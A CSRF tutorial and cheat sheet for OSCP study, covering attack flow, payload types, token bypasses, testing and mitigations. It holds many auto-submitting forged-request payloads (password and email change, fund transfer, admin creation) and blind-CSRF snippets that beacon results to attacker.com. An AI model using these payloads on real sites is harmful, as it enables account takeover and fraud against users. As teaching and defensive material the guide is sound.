CSRF (Cross-Site Request Forgery)
Table of Contents
- CSRF Fundamentals
- CSRF Attack Flow
- CSRF Attack Types
- CSRF Token Bypass Techniques
- CSRF Detection Methodology
- CSRF Mitigation Strategies
- OSCP-Specific Tips and Lab Scenarios
- Quick Reference Cheat Sheet
1. CSRF Fundamentals
What is CSRF?
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a trusted web application in which they are currently authenticated. Unlike XSS, CSRF exploits the trust that a web application has in the user’s browser.
Why Does CSRF Work?
CSRF works because of how browsers automatically handle authentication credentials:
- Cookies are sent automatically — When a browser makes a request to a domain, it automatically includes all cookies associated with that domain.
- The server trusts the browser — The server assumes that if valid cookies are present, the request is legitimate and comes from the authenticated user.
- No origin verification — Without proper protections, the server cannot distinguish between a legitimate request initiated by the user and a forged request from a malicious site.
How CSRF Exploits Browser Trust
┌─────────────────────────────────────────────────────────────┐
│ CSRF Trust Exploitation │
│ │
│ Attacker's Site (evil.com) │
│ ┌──────────────────────────┐ │
│ │ Malicious HTML/JS │ │
│ │ <img src="victim.com/ │ │
│ │ api/transfer?amt=1000" │──── Makes HTTP Request ────────┼──┐
│ │ /> │ │ │
│ └──────────────────────────┘ │ │
│ │ │
│ Victim's Browser │ │
│ ┌──────────────────────────┐ │ │
│ │ Automatically attaches │ │ │
│ │ Session Cookie: │◄──────────────────────────────┼──┘
│ │ PHPSESSID=abc123 │ │
│ └──────────────────────────┘ │
│ │ │
│ ▼ │
│ Victim's Site (victim.com) │
│ ┌──────────────────────────┐ │
│ │ Sees valid session │ │
│ │ cookie → Processes │ │
│ │ request as legitimate │ │
│ │ user action │ │
│ └──────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
CSRF vs XSS — Key Differences
| Aspect | CSRF | XSS |
|---|---|---|
| Exploits | Trust in the user’s browser | Trust in the user’s input |
| Requires user to be authenticated | Yes | No (not necessarily) |
| Attacker needs to read victim’s data | No | Yes (often) |
| Injection point | External malicious page | Vulnerable application itself |
| Victim action | Visit attacker’s page | Visit vulnerable page |
| Data exfiltration | Not possible directly | Possible |
| Defense mechanism | Anti-CSRF tokens, SameSite | Input validation, output encoding |
| Same-Origin Policy | Bypassed (SOP doesn’t protect) | Exploited to read data |
When is CSRF Applicable?
CSRF is applicable when ALL of the following conditions are met:
- The action uses cookies for authentication (not Authorization headers)
- The action does not require user interaction that the attacker cannot automate (e.g., CAPTCHA, re-authentication)
- The action has security implications (changes state, modifies data, performs transactions)
- The application lacks CSRF protections (no anti-CSRF tokens, or tokens can be bypassed)
- The attacker can trick the victim into visiting a malicious page (phishing, social engineering)
Actions Vulnerable to CSRF
- High Impact: Password change, email change, fund transfer, account deletion, privilege escalation
- Medium Impact: Profile updates, comment posting, settings changes
- Low Impact: “Like” buttons, view counts (usually not worth exploiting)
2. CSRF Attack Flow
Step-by-Step Attack Flow
┌─────────────────────────────────────────────────────────────────────────────┐
│ COMPLETE CSRF ATTACK FLOW │
│ │
│ Phase 1: Reconnaissance │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ 1. Attacker identifies target application (victim.com) │ │
│ │ 2. Attacker analyzes the application to find state-changing │ │
│ │ endpoints (POST /api/change-password, etc.) │ │
│ │ 3. Attacker determines the HTTP method, parameters, and │ │
│ │ content-type required │ │
│ │ 4. Attacker checks for CSRF protections (tokens, SameSite, etc.) │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Phase 2: Payload Creation │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ 5. Attacker crafts malicious HTML/JavaScript that automatically │ │
│ │ sends the forged request to victim.com │ │
│ │ 6. Payload is hosted on attacker's server (evil.com/csrf.html) │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Phase 3: Delivery │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ 7. Attacker delivers the payload to the victim via: │ │
│ │ • Phishing email with link │ │
│ │ • Compromised forum/blog post │ │
│ │ • Social media message │ │
│ │ • QR code redirect │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Phase 4: Execution │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ 8. Victim (authenticated on victim.com) visits evil.com/csrf.html │ │
│ │ 9. Browser automatically sends request to victim.com with │ │
│ │ victim's session cookies │ │
│ │ 10. Victim's server processes the request as legitimate │ │
│ │ 11. Unwanted action is performed (password changed, etc.) │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Phase 5: Result │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ 12. Attacker achieves their goal │ │
│ │ 13. Victim may remain unaware of the attack │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────────┘
Visual Attack Diagram
Attacker (evil.com)
│
│ 1. Hosts malicious page
│
▼
┌──────────────────────────────────────────────────────────────┐
│ evil.com/csrf.html │
│ ┌────────────────────────────────────────────────────┐ │
│ │ <form action="http://victim.com/api/transfer" │ │
│ │ method="POST" │ │
│ │ onsubmit="this.submit()"> │ │
│ │ <input name="amount" value="10000"> │ │
│ │ <input name="to" value="attacker_account"> │ │
│ │ </form> │ │
│ │ <script>document.forms[0].submit();</script> │ │
│ └────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────┘
│
│ 2. Victim clicks link / is redirected
│
▼
┌──────────────────────────────────────────────────────────────┐
│ Victim's Browser │
│ ┌────────────────────────────────────────────────────┐ │
│ │ • Loads evil.com/csrf.html │ │
│ │ • Form auto-submits to victim.com │ │
│ │ • Browser attaches cookies: │ │
│ │ Cookie: session=abc123xyz │ │
│ └────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────┘
│
│ 3. Request with victim's cookies
│
▼
┌──────────────────────────────────────────────────────────────┐
│ Victim's Server (victim.com) │
│ ┌────────────────────────────────────────────────────┐ │
│ │ POST /api/transfer │ │
│ │ Cookie: session=abc123xyz │ │
│ │ Body: amount=10000&to=attacker_account │ │
│ │ │ │
│ │ → Validates session cookie ✓ │ │
│ │ → Processes transfer │ │
│ │ → $10,000 transferred to attacker! │ │
│ └────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────┘
3. CSRF Attack Types
3.1 GET-Based CSRF
GET-based CSRF is the simplest form. It exploits endpoints that perform state-changing actions via GET requests.
Image Tag CSRF
The most basic CSRF payload. The browser attempts to load an image, sending a GET request with cookies.
<!-- Image Tag CSRF -->
<img src="http://victim.com/api/transfer?amount=1000&to=attacker" width="1" height="1" />
Characteristics:
- Silent execution (no visible change to the page)
- Cannot control headers or body
- Limited to GET requests
- URL parameters must be URL-encoded
Link-Based CSRF
Requires user interaction (click).
<!-- Link-Based CSRF -->
<a href="http://victim.com/api/change-email?email=attacker@evil.com">
Click here for a surprise!
</a>
<!-- Hidden Link with Auto-Click -->
<a id="csrf-link" href="http://victim.com/api/change-email?email=attacker@evil.com"
style="display:none;">Hidden</a>
<script>
document.getElementById('csrf-link').click();
</script>
Meta Refresh CSRF
Redirects the browser after a delay (or immediately).
<!-- Meta Refresh - Immediate -->
<meta http-equiv="refresh" content="0;url=http://victim.com/api/transfer?amount=1000&to=attacker" />
<!-- Meta Refresh - After 5 seconds -->
<meta http-equiv="refresh" content="5;url=http://victim.com/api/transfer?amount=1000&to=attacker" />
SVG-Based CSRF
Uses SVG’s <image> element to trigger a GET request.
<!-- SVG-Based CSRF -->
<svg onload="fetch('http://victim.com/api/transfer?amount=1000&to=attacker')">
</svg>
<!-- SVG Image Element -->
<svg>
<image href="http://victim.com/api/transfer?amount=1000&to=attacker" />
</svg>
iframe-Based GET CSRF
Uses an iframe to load the malicious URL.
<!-- iframe-Based GET CSRF -->
<iframe src="http://victim.com/api/transfer?amount=1000&to=attacker"
width="0" height="0" style="display:none;">
</iframe>
3.2 POST-Based CSRF
POST-based CSRF is more common since most applications use POST for state-changing operations.
Auto-Submitting Form (No JavaScript)
This is the most reliable CSRF payload because it works even with JavaScript disabled.
<!-- Auto-Submitting POST Form (No JavaScript Required) -->
<html>
<body>
<form action="http://victim.com/api/change-password" method="POST">
<input type="hidden" name="current_password" value="victim_password" />
<input type="hidden" name="new_password" value="hacked123" />
<input type="hidden" name="confirm_password" value="hacked123" />
<input type="submit" value="Submit" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Auto-Submitting Form (With JavaScript)
For more control and stealth.
<!-- Auto-Submitting POST Form with JavaScript -->
<html>
<body>
<form id="csrf-form" action="http://victim.com/api/change-password" method="POST">
<input type="hidden" name="current_password" value="victim_password" />
<input type="hidden" name="new_password" value="hacked123" />
<input type="hidden" name="confirm_password" value="hacked123" />
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
POST with Custom Content-Type
Some APIs require specific content types.
<!-- POST with application/json -->
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/api/change-email");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({
"email": "attacker@evil.com"
}));
</script>
</body>
</html>
Note: Custom headers like
Content-Type: application/jsontrigger a CORS preflight (OPTIONS) request. If the server doesn’t properly handle CORS, the CSRF may fail. This is why form-based POST (Content-Type: application/x-www-form-urlencoded) is more reliable.
3.3 PUT/DELETE CSRF (REST API Manipulation)
REST APIs using non-standard HTTP methods can also be vulnerable.
<!-- PUT Request via XMLHttpRequest -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("PUT", "http://victim.com/api/users/123/profile");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("bio=Hacked&role=admin");
</script>
<!-- DELETE Request via XMLHttpRequest -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("DELETE", "http://victim.com/api/posts/456");
xhr.withCredentials = true;
xhr.send();
</script>
Important: PUT/DELETE requests with custom headers trigger CORS preflight. Pure form-based CSRF only supports GET and POST. For PUT/DELETE, you need JavaScript (XMLHttpRequest/Fetch), which means CORS becomes a factor.
3.4 File Upload CSRF
File upload CSRF is more complex because it requires multipart/form-data encoding.
Using Blob and FormData (JavaScript Required)
<!-- File Upload CSRF -->
<html>
<body>
<script>
// Create a malicious file using Blob
var maliciousContent = "Malicious file content";
var blob = new Blob([maliciousContent], { type: "text/plain" });
// Create FormData and append the file
var formData = new FormData();
formData.append("file", blob, "malicious.txt");
formData.append("description", "Hacked upload");
// Send the request
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/api/upload");
xhr.withCredentials = true;
xhr.send(formData);
</script>
</body>
</html>
File Upload with Base64 Content
<!-- File Upload with Base64 Content -->
<html>
<body>
<script>
// Base64 encoded malicious content
var base64Content = "SGVsbG8gV29ybGQh"; // "Hello World!"
// Convert base64 to binary
var binaryString = atob(base64Content);
var bytes = new Uint8Array(binaryString.length);
for (var i = 0; i < binaryString.length; i++) {
bytes[i] = binaryString.charCodeAt(i);
}
var blob = new Blob([bytes], { type: "application/octet-stream" });
var formData = new FormData();
formData.append("avatar", blob, "avatar.png");
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/api/upload-avatar");
xhr.withCredentials = true;
xhr.send(formData);
</script>
</body>
</html>
3.5 XMLHttpRequest / AJAX CSRF
Using XMLHttpRequest or Fetch API for more control.
<!-- XMLHttpRequest CSRF -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/api/transfer");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("amount=5000&to=attacker_account¤cy=USD");
</script>
<!-- Fetch API CSRF -->
<script>
fetch("http://victim.com/api/transfer", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "amount=5000&to=attacker_account¤cy=USD"
});
</script>
3.6 Complete Payload Examples by Scenario
Scenario 1: Password Change
<!-- Password Change CSRF -->
<html>
<body>
<form action="http://victim.com/change-password" method="POST">
<input type="hidden" name="old_password" value="current_password" />
<input type="hidden" name="new_password" value="P@ssw0rd123!" />
<input type="hidden" name="confirm_password" value="P@ssw0rd123!" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Scenario 2: Email Change
<!-- Email Change CSRF -->
<html>
<body>
<form action="http://victim.com/settings/email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com" />
<input type="hidden" name="action" value="update_email" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Scenario 3: User Registration (Account Creation)
<!-- User Registration CSRF -->
<html>
<body>
<form action="http://victim.com/register" method="POST">
<input type="hidden" name="username" value="backdoor_user" />
<input type="hidden" name="email" value="attacker@evil.com" />
<input type="hidden" name="password" value="known_password" />
<input type="hidden" name="confirm_password" value="known_password" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Scenario 4: Admin Action (User Promotion)
<!-- Admin Action CSRF - Promote User to Admin -->
<html>
<body>
<form action="http://victim.com/admin/users/promote" method="POST">
<input type="hidden" name="user_id" value="999" />
<input type="hidden" name="role" value="admin" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Scenario 5: Multi-Step CSRF (Chained Requests)
<!-- Chained CSRF - Multiple Actions -->
<html>
<body>
<script>
// Step 1: Create a user
var xhr1 = new XMLHttpRequest();
xhr1.open("POST", "http://victim.com/api/users");
xhr1.withCredentials = true;
xhr1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr1.onload = function() {
// Step 2: Promote the user to admin
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://victim.com/api/users/999/promote");
xhr2.withCredentials = true;
xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr2.send("role=admin");
};
xhr1.send("username=backdoor&email=attacker@evil.com&password=pass123");
</script>
</body>
</html>
4. CSRF Token Bypass Techniques
4.1 Understanding CSRF Tokens
CSRF tokens are random values embedded in forms and verified by the server to ensure the request originated from the legitimate application.
┌─────────────────────────────────────────────────────────────┐
│ How CSRF Tokens Work │
│ │
│ Legitimate Request: │
│ ┌──────────────┐ ┌──────────────────┐ │
│ │ Application │────►│ Form with Token │ │
│ │ (victim.com)│ │ <input name= │ │
│ │ │ │ _token │ │
│ │ │ │ value="abc123" │ │
│ │ │ │ /> │ │
│ └──────────────┘ └──────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────┐ ┌──────────────────┐ │
│ │ Server │◄────│ POST with Token │ │
│ │ (victim.com)│ │ _token=abc123 │ │
│ │ │ │ action=transfer │ │
│ │ Validates │ └──────────────────┘ │
│ │ token ✓ │ │
│ └──────────────┘ │
│ │
│ Forged Request (CSRF): │
│ ┌──────────────┐ ┌──────────────────┐ │
│ │ Attacker's │────►│ POST without │ │
│ │ Site │ │ Token │ │
│ │ (evil.com) │ │ action=transfer │ │
│ └──────────────┘ └──────────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────┐ ┌──────────────────┐ │
│ │ Server │◄────│ Missing Token │ │
│ │ (victim.com)│ │ → REJECTED ✗ │ │
│ └──────────────┘ └──────────────────┘ │
└─────────────────────────────────────────────────────────────┘
4.2 Token Prediction (Weak Generation)
If the token is generated using a weak random number generator, it can be predicted.
# Example: Predicting a weak CSRF token
import random
# If the token is a 4-digit number
for i in range(10000):
token = str(i).zfill(4)
# Try the token in the CSRF payload
print(f"Trying token: {token}")
# If the token is based on timestamp
import time
current_time = int(time.time())
# Try tokens around the current timestamp
for offset in range(-10, 10):
token = str(current_time + offset)
print(f"Trying token: {token}")
Detection:
- Check if tokens are sequential or follow a pattern
- Check if tokens are short (less than 16 characters)
- Check if tokens are based on predictable values (timestamps, user IDs)
4.3 Token Reflection
The token is reflected from the request (URL parameter, header, or cookie) into the response.
<!-- Token Reflection from URL Parameter -->
<!-- The application takes the token from the URL and embeds it in the form -->
<!-- Attacker can control the token value -->
<html>
<body>
<form action="http://victim.com/api/transfer" method="POST">
<input type="hidden" name="csrf_token" value="attacker_controlled_token" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="to" value="attacker_account" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
How to Exploit:
- The attacker sets the token value in their payload
- The server reflects this value back as the “valid” token
- The forged request includes the attacker-controlled token
- The server accepts it because it matches the reflected value
4.4 Token Absence on Some Endpoints
Not all endpoints may require CSRF tokens.
Common endpoints without CSRF protection:
- API endpoints (especially REST APIs)
- AJAX endpoints
- File upload endpoints
- Webhook endpoints
- Admin panels with separate authentication
Testing:
# Check if an endpoint requires a CSRF token
curl -X POST http://victim.com/api/change-email \
-H "Cookie: session=abc123" \
-d "email=attacker@evil.com"
# If the request succeeds without a token, CSRF is possible
4.5 Referer-Based Tokens
The token is derived from or validated against the Referer header.
# Example: Server validates that the Referer header matches the application domain
# If the server only checks that the Referer starts with the application domain,
# an attacker can exploit subdomain registration
# Attacker registers: victim.com.attacker.com
# When the victim visits attacker's page, the Referer might be:
# Referer: https://victim.com.attacker.com/csrf.html
# The server might accept this because it "starts with" victim.com
Bypass:
- Register a subdomain that starts with the target domain
- Use URL encoding or case manipulation if the check is weak
4.6 Cookie-Based Tokens
The CSRF token is stored in a cookie and read by JavaScript.
// If the token is in a cookie and read by JS:
// The attacker can read the cookie if:
// 1. The cookie is not HttpOnly
// 2. There is an XSS vulnerability
// Read cookie-based token via XSS
var token = document.cookie.match(/csrf_token=([^;]+)/)[1];
// Use the token in the CSRF payload
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/api/transfer");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("csrf_token=" + token + "&amount=10000&to=attacker");
Note: Cookie-based tokens are only bypassable if combined with XSS. Pure CSRF cannot read cookies due to SOP.
4.7 Missing Validation
The token is present but not properly validated.
Common validation flaws:
- Token is checked for presence but not for correctness
- Token is compared using loose comparison
- Token is validated only on certain conditions
// Vulnerable: Loose comparison
if ($_POST['csrf_token'] == $session_token) {
// '0' == false, '0e123456' == 0, etc.
}
// Vulnerable: Only checks presence
if (isset($_POST['csrf_token'])) {
// Any value is accepted
}
// Vulnerable: Token not validated on error path
if ($user_exists) {
validate_csrf_token();
// Process request
} else {
// No CSRF validation on error path
// Attacker can enumerate users
}
4.8 CORS Abuse with Tokens
If the application has misconfigured CORS, it might allow cross-origin requests with credentials.
// If the server responds with:
// Access-Control-Allow-Origin: *
// Access-Control-Allow-Credentials: true
// (This is actually invalid per CORS spec, but some servers allow it)
// Or if the server reflects the Origin header:
// Access-Control-Allow-Origin: https://evil.com
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/api/transfer");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("amount=10000&to=attacker");
CORS + CSRF Combination:
- Attacker sends a request from their domain
- Server reflects the Origin in Access-Control-Allow-Origin
- Browser allows the response to be read
- Attacker can both forge requests AND read responses
4.9 Blind CSRF
Blind CSRF occurs when the attacker cannot see the result of the forged request.
Characteristics:
- Attacker cannot read the response (SOP)
- Attacker doesn’t know if the attack succeeded
- Requires additional techniques to confirm success
Confirmation Techniques:
<!-- Technique 1: DNS Log Exfiltration -->
<script>
// Send CSRF request
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/api/change-email");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("email=attacker@evil.com");
// If the application sends a confirmation email to the new address,
// the attacker receives confirmation
</script>
<!-- Technique 2: HTTP Request to Attacker's Server -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/api/action");
xhr.withCredentials = true;
xhr.onload = function() {
// Send confirmation to attacker's server
new Image().src = "http://attacker.com/log?success=1";
};
xhr.onerror = function() {
new Image().src = "http://attacker.com/log?success=0";
};
xhr.send("param=value");
</script>
<!-- Technique 3: Time-Based Detection -->
<script>
var startTime = Date.now();
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/api/action");
xhr.withCredentials = true;
xhr.onload = function() {
var duration = Date.now() - startTime;
// If the action takes a specific amount of time,
// the attacker can infer success based on timing
new Image().src = "http://attacker.com/log?time=" + duration;
};
xhr.send("param=value");
</script>
5. CSRF Detection Methodology
5.1 Manual Testing Steps
Step 1: Identify State-Changing Endpoints
1. Map all application functionality
2. Identify endpoints that modify data:
- User settings (password, email, profile)
- Financial transactions
- Account management (create, delete, modify)
- Administrative functions
- Content management (create, edit, delete posts)
3. Note the HTTP method used (GET, POST, PUT, DELETE)
Step 2: Analyze Request Structure
1. Capture requests using Burp Suite
2. Note the following for each endpoint:
- HTTP method
- Content-Type header
- Request parameters (name, value, type)
- Presence of CSRF tokens
- Cookie requirements
- Custom headers
Step 3: Check for CSRF Protections
1. Look for CSRF tokens in:
- Hidden form fields
- URL parameters
- Request headers (X-CSRF-Token, X-XSRF-Token)
- Cookies (XSRF-TOKEN)
2. Check for SameSite cookie attribute:
- SameSite=Strict: Best protection
- SameSite=Lax: Good protection for most cases
- SameSite=None: No CSRF protection from cookies
3. Check for custom headers that require JavaScript:
- X-Requested-With: XMLHttpRequest
- Content-Type: application/json
4. Check for Referer validation
Step 4: Test for CSRF Vulnerability
1. Remove the CSRF token from the request
2. Replay the request without the token
3. If the request succeeds, the endpoint is vulnerable
4. If a token is required, try to:
- Predict the token
- Find a reflected token
- Find an endpoint without token validation
Step 5: Create and Test Payload
1. Create a CSRF payload based on the request structure
2. Host the payload on a separate domain
3. Test the payload while logged into the target application
4. Verify that the action was performed
5.2 Automated Tools
Burp Suite CSRF Tokenizer
1. Send request to Repeater
2. Right-click → Engagement tools → Enhance CSRF PoC
3. Burp generates an HTML form with:
- All parameters filled in
- Auto-submit script
- Token handling (if applicable)
4. Review and modify the generated payload
5. Test the payload
Burp Suite CSRF PoC Generator (Detailed Steps)
Step 1: Intercept the target request in Burp Proxy
Step 2: Right-click the request → Send to Repeater
Step 3: In Repeater, right-click → Engagement tools → Enhance CSRF PoC
Step 4: Configure the options:
- Title: Descriptive name for the PoC
- Method: GET or POST (auto-detected)
- Encoding: application/x-www-form-urlencoded or multipart/form-data
- Auto-submit: Enable to submit automatically
Step 5: Review the generated HTML
Step 6: Copy the HTML and save as .html file
Step 7: Host the file and test while authenticated
OWASP ZAP CSRF Testing
1. Send request to Repeater
2. Right-click → Attack → CSRF
3. ZAP generates a CSRF PoC
4. Review and test the payload
Custom Testing Script
#!/usr/bin/env python3
"""
CSRF Testing Script
Tests endpoints for CSRF vulnerability
"""
import requests
import sys
def test_csrf(url, cookies, data=None, headers=None):
"""Test if an endpoint is vulnerable to CSRF"""
print(f"[*] Testing: {url}")
# Test 1: Request without CSRF token
if data:
response = requests.post(url, cookies=cookies, data=data, headers=headers)
else:
response = requests.get(url, cookies=cookies, headers=headers)
if response.status_code == 200 or response.status_code == 302:
print(f"[+] POTENTIALLY VULNERABLE - Status: {response.status_code}")
return True
else:
print(f"[-] Not vulnerable - Status: {response.status_code}")
return False
def main():
if len(sys.argv) < 2:
print("Usage: python csrf_test.py <url> [cookie_file]")
sys.exit(1)
url = sys.argv[1]
cookies = {}
if len(sys.argv) > 2:
# Load cookies from file
with open(sys.argv[2], 'r') as f:
for line in f:
if '=' in line:
key, value = line.strip().split('=', 1)
cookies[key] = value
test_csrf(url, cookies)
if __name__ == "__main__":
main()
5.3 CSRF Testing Checklist
□ Identify all state-changing endpoints
□ Document HTTP methods used
□ Check for CSRF tokens in forms and requests
□ Check for SameSite cookie attribute
□ Check for custom header requirements
□ Test endpoints without CSRF tokens
□ Test token prediction possibilities
□ Test token reflection vulnerabilities
□ Test for Referer-based validation flaws
□ Test for CORS misconfigurations
□ Create and test CSRF payloads
□ Document findings and impact
6. CSRF Mitigation Strategies
6.1 Anti-CSRF Tokens (Synchronizer Token Pattern)
The most effective CSRF protection.
// Server-side: Generate and store token
session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// Server-side: Validate token on form submission
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
http_response_code(403);
die('CSRF token validation failed');
}
// Client-side: Embed token in form
<form action="/api/transfer" method="POST">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>" />
<input type="text" name="amount" />
<input type="submit" value="Transfer" />
</form>
Best Practices:
- Use cryptographically secure random generation
- Use per-session or per-request tokens
- Use constant-time comparison (hash_equals)
- Regenerate tokens after use (one-time tokens)
6.2 SameSite Cookies
The SameSite attribute restricts when cookies are sent with cross-site requests.
# Strict: Cookie is never sent on cross-site requests
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
# Lax: Cookie is sent on top-level GET requests only
Set-Cookie: session=abc123; SameSite=Lax; Secure; HttpOnly
# None: Cookie is sent on all requests (requires Secure flag)
Set-Cookie: session=abc123; SameSite=None; Secure; HttpOnly
Comparison:
| SameSite Value | Cross-Site GET | Cross-Site POST | Protection Level |
|---|---|---|---|
Strict |
Not sent | Not sent | Highest |
Lax |
Sent (top-level) | Not sent | High |
None |
Sent | Sent | None (CSRF-wise) |
Limitations:
- Not all browsers support SameSite (older browsers)
- SameSite=Lax allows GET requests, which can still be exploited
- Should be used as defense-in-depth, not sole protection
6.3 Custom Headers
Requiring custom headers that can only be set by JavaScript.
// Client-side: Add custom header via JavaScript
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api/transfer");
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhr.setRequestHeader("X-CSRF-Token", getToken());
xhr.send(formData);
// Server-side: Validate custom header
if (!isset($_SERVER['HTTP_X_REQUESTED_WITH']) ||
$_SERVER['HTTP_X_REQUESTED_WITH'] !== 'XMLHttpRequest') {
http_response_code(403);
die('Invalid request');
}
Limitations:
- Requires JavaScript (not all users have JS enabled)
- Can be bypassed if the attacker uses JavaScript (XSS)
- XMLHttpRequest and Fetch can set custom headers
6.4 Referer Checking
Validating the Referer header to ensure the request originated from the application.
// Server-side: Check Referer header
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$allowed_domains = ['https://victim.com', 'https://www.victim.com'];
if (!in_array(parse_url($referer, PHP_URL_SCHEME) . '://' . parse_url($referer, PHP_URL_HOST), $allowed_domains)) {
http_response_code(403);
die('Invalid Referer');
}
Limitations:
- Referer header can be stripped by privacy settings
- Referer header can be spoofed in some cases
- Not all requests include a Referer header
- Should not be used as sole protection
6.5 Double-Submit Cookie
The CSRF token is stored in a cookie and also sent as a request parameter/header.
// Client-side: Read token from cookie and send in header
function getCookie(name) {
var match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'));
return match ? match[2] : null;
}
var xhr = new XMLHttpRequest();
xhr.open("POST", "/api/transfer");
xhr.setRequestHeader("X-CSRF-Token", getCookie("csrf_token"));
xhr.send(formData);
// Server-side: Set token in cookie
setcookie('csrf_token', bin2hex(random_bytes(32)), [
'expires' => time() + 3600,
'path' => '/',
'secure' => true,
'httponly' => false, // Must be readable by JS
'samesite' => 'Lax'
]);
// Server-side: Validate token from header matches cookie
if (!hash_equals($_COOKIE['csrf_token'], $_SERVER['HTTP_X_CSRF_TOKEN'])) {
http_response_code(403);
die('CSRF token validation failed');
}
Advantages:
- No server-side session storage needed
- Works well with stateless architectures
Limitations:
- Cookie must be readable by JavaScript (cannot be HttpOnly)
- Vulnerable if combined with XSS
6.6 Re-Authentication
Requiring the user to re-authenticate for sensitive operations.
<!-- Re-Authentication Form -->
<form action="/api/change-password" method="POST">
<input type="hidden" name="csrf_token" value="abc123" />
<label>Current Password:</label>
<input type="password" name="current_password" required />
<label>New Password:</label>
<input type="password" name="new_password" required />
<input type="submit" value="Change Password" />
</form>
When to Use:
- Password changes
- Email changes
- Financial transactions
- Privilege escalation
Limitations:
- Poor user experience
- Not practical for all operations
- Attacker might know the user’s password
6.7 Defense-in-Depth Approach
The best CSRF protection combines multiple strategies:
┌─────────────────────────────────────────────────────────────┐
│ CSRF Defense-in-Depth │
│ │
│ Layer 1: Anti-CSRF Tokens (Primary Defense) │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ • Per-session or per-request tokens │ │
│ │ • Cryptographically secure generation │ │
│ │ • Constant-time validation │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Layer 2: SameSite Cookies (Secondary Defense) │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ • SameSite=Strict for sensitive operations │ │
│ │ • SameSite=Lax for general operations │ │
│ │ • Secure and HttpOnly flags │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Layer 3: Custom Headers (Tertiary Defense) │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ • X-CSRF-Token header │ │
│ │ • Content-Type validation │ │
│ └─────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Layer 4: Re-Authentication (For Sensitive Operations) │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ • Require password for critical actions │ │
│ │ • MFA for high-risk operations │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
7. OSCP-Specific Tips and Lab Scenarios
7.1 OSCP Exam Relevance
CSRF is not a primary focus of the OSCP exam, but understanding it is important for:
- Web application assessments — Some machines may have CSRF vulnerabilities
- Privilege escalation — CSRF can be used to escalate privileges in web applications
- Client-side attack chains — CSRF can be combined with other vulnerabilities
- Report writing — Understanding CSRF helps in writing comprehensive reports
7.2 Common OSCP Lab Scenarios
Scenario 1: Password Reset via CSRF
Target: Web application with password reset functionality
Vulnerability: No CSRF token on password reset form
Impact: Attacker can reset any user's password
Exploitation Steps:
1. Identify the password reset endpoint
2. Capture the request using Burp Suite
